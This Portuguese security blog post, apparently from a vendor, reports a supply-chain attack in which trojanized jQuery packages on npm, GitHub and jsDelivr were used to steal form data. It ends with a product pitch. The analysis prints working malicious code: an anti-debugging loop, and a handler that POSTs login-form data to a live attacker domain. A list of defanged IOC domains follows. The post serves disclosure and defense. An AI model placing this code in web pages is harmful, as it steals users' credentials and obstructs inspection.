Ataques foram encontrados em jQuery trojanizado no GitHub, npm e jsDelivr em um novo ataque à cadeia de suprimentos web. Cada pacote tinha uma cópia do jQuery com uma pequena alteração: a função 'end'. Esta faz parte do protótipo do jQuery e foi modificada para incluir código malicioso adicional.
No script malicioso, o atacante envia uma requisição GET não bloqueante usando '$.ajax' para outros domínios. A URL da requisição inclui um parâmetro de consulta, que varia entre diferentes pacotes. Como resultado, sempre que a função end é invocada, todos os dados de formulário na página são exfiltrados.
Isso foi descoberto primeiro no npm, depois em múltiplos repositórios do GitHub, bem como em um recurso hospedado em CDN no jsDelivr.
Em nossa campanha intitulada o risco da cadeia de suprimentos não termina no npm, enfatizamos que o método de entrega de um script como este permite comportamento dinâmico. Isso torna a verificação de fontes ou a dependência apenas de métodos de entrega confiáveis seguros um jogo arriscado, como ilustrado por este ataque. Isso frequentemente engana firewalls e permite que código malicioso passe despercebido, e os atacantes estão bem cientes disso.
O que encontramos
Obtivemos o código malicioso do CDN oficial jsDelivr, que recebe 37.000 acessos por mês. Todos eles incluem os scripts alterados e são inseguros.

Esta é parte do código malicioso que encontramos e o que ele faz:

Esta parte do script serializa dados de formulário, converte-os em uma string hexadecimal e os envia para um servidor remoto usando uma requisição GET, potencialmente expondo informações sensíveis do usuário sem consentimento. O uso de $.ajax com uma função assíncrona torna essa transferência de dados furtiva, indicativa de atividades maliciosas destinadas a coletar dados de forma sub-reptícia.
1. Mecanismo Anti-Depuração:
- Função de Intervalo: Uma função '_0x38c4a6' é executada a cada 4 segundos usando 'setInterval'. Esta função visa detectar e interromper tentativas de depuração aproveitando a instrução 'debugger' do JavaScript.
- Função Aninhada: Dentro de '_0x38c4a6', a função aninhada '_0x386016' contém lógica para chamar repetidamente 'debugger' com base em certas condições, dificultando a depuração do código usando ferramentas padrão.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Manipulador de Envio de Formulário:
- Seleção de Formulário: O script seleciona o formulário com a classe '.login-form'.
- Evento de Envio: Um ouvinte de evento é anexado ao evento de envio do formulário.
- Requisição AJAX: Quando o formulário é enviado, uma requisição AJAX POST é enviada para 'https://koneksi.barux.my[.]id/index.php' com os dados do formulário serializados.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
Isso em conjunto sugere que o script pode ser usado para prevenir adulteração ou inspeção (através da lógica anti-depuração) enquanto envia silenciosamente dados de um formulário para um servidor remoto. Esses dados podem ser credenciais de usuário ou outros tipos de informação.
Como é típico com esses ataques, é difícil saber quantas pessoas foram vítimas. O método de entrega desses scripts permite comportamento dinâmico. Qualquer usuário pode receber uma entrega diferente a cada vez, especialmente quando um script foi comprometido. Então é completamente aleatório, ou altamente direcionado e configurado dessa forma para permanecer não detectado por muito tempo.
Em pesquisa publicada pela Phylum, sabemos que os seguintes domínios foram usados neste ataque:
- https://paneljs[.]hanznesia[.]my[.]id
- https://api-web-vrip[.]hanznesia[.]my[.]id
- https://log[.]api-system[.]engineer
- https://irisainginbos[.]icikipoxx[.]pw
- https://patipride[.]icikipoxx[.]pw
- https://apii[.]fukaes[.]ninja
- https://pukil[.]dannew[.]biz[.]id
- https://api[.]jstyy[.]xyz
- https://qxue[.]biz[.]id
- https://api[.]newrxl[.]online
- https://api[.]iimg[.]my[.]id
- https://apiweb[.]eventtss[.]my[.]id
- https://pokemon[.]denii[.]biz[.]id
- https://apii[.]codatuys[.]cab
- https://api[.]codatuys[.]biz[.]id
- https://saystem[.]ditzzultimate[.]xyz
- https://paneljs[.]dimashost[.]xyz
- https://cssimage[.]dimashost[.]xyz
- https://ajax[.]failexpect[.]biz[.]id
- https://ns[.]api-system[.]engineer
- https://log[.]systems-alexhost[.]xyz
- https://api-system[.]engineer
- https://systems-alexhost[.]xyz
- https://panel[.]api-bo[.]my[.]id
- https://project[.]systemgoods[.]me
- https://danu[.]eventtss[.]my[.]id
- https://panel-host[.]clannesia[.]com
- http://apii-pandawara[.]ganznesia[.]my[.]id
- https://system-alexhosting[.]biz[.]id
- https://nd[.]api-system[.]engineer
- https://anti-spam[.]truex[.]biz[.]id
- https://panel-host[.]dmdpanel[.]my[.]id
- https://api-bo[.]my[.]id
- https://pusat-js[.]truex[.]biz[.]id
O que você pode fazer
O tempo para medidas preventivas passou. Verifique imediatamente seu código em busca de referências aos repositórios e domínios afetados. Se encontrados, remova-os.
Ataques como este costumavam ser impossíveis de detectar, já que desenvolvedores que dependem de fontes de terceiros nem sempre têm conhecimento de mudanças nos próprios scripts. Métodos de detecção mais antigos não levam em conta essas mudanças e não têm como distingui-las.
Ao usar o nível gratuito do cside, você é alertado quando uma mudança é feita dentro do próprio script. Bloqueamos qualquer coisa maliciosa de forma autônoma, e você obtém uma visão completa dos scripts desofuscados para entender o que eles estão servindo.









